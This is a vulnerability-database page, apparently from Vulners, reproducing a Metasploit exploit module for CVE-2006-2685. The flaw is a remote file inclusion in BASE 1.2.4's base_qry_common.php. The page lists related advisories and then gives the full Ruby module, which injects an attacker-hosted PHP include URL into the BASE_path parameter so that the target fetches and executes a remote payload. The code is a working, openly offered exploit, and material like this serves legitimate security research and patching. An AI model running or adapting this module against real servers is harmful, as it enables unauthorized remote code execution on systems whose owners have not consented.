Lucene search
+L

BASE 1.2.4 - 'base_qry_common.php' Remote File Inclusion (Metasploit)

🗓️ 14 Jun 2008 00:00:00Reported by MCType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Remote File Inclusion in BASE 1.2.

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
BASE < 1.2.5 BASE_path Parameter Remote File Inclusion
8 Jun 200600:00
nessus
nessus
Tenable Nessus
BASE Multiple Script BASE_path Parameter Remote File Inclusion
27 May 200600:00
nessus
circl
Circl
CVE-2006-2685
14 Jun 200800:00
circl
cve
CVE
CVE-2006-2685
31 May 200610:00
cve
cvelist
Cvelist
CVE-2006-2685
31 May 200610:00
cvelist
exploitdb
Exploit DB
BASE - 'base_qry_common' Remote File Inclusion (Metasploit)
24 Nov 201000:00
exploitdb
exploitdb
Exploit DB
BASE 1.2.4 - melissa Snort Frontend Remote File Inclusion
25 May 200600:00
exploitdb
exploitpack
exploitpack
BASE 1.2.4 - base_qry_common.php Remote File Inclusion (Metasploit)
14 Jun 200800:00
exploitpack
metasploit
Metasploit
BASE base_qry_common Remote File Include
20 Oct 200915:01
metasploit
nvd
NVD
CVE-2006-2685
31 May 200610:06
nvd
Rows per page
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer::PHPInclude

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BASE base_qry_common Remote File Include.',
			'Description'    => %q{
					This module exploits a remote file inclusion vulnerability in
					the base_qry_common.php file in BASE 1.2.4 and earlier.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision:$',
			'References'     =>
				[
					[ 'CVE', '2006-2685' ],
					[ 'BID', '18298' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 32768,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jun 14 2008',
			'DefaultTarget' => 0))

			register_options(
				[
					OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/base/base_qry_common.php?BASE_path=!URL!"]),
				], self.class)
	end

	def php_exploit

		timeout = 0.01
		uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
		print_status("Trying uri #{uri}")

		response = send_request_raw( {
				'global' => true,
				'uri' => uri,
			},timeout)

		if response and response.code != 200
			print_error("Server returned non-200 status code (#{response.code})")
		end

		handler
	end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Apr 2011 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24
EPSS0.49185
36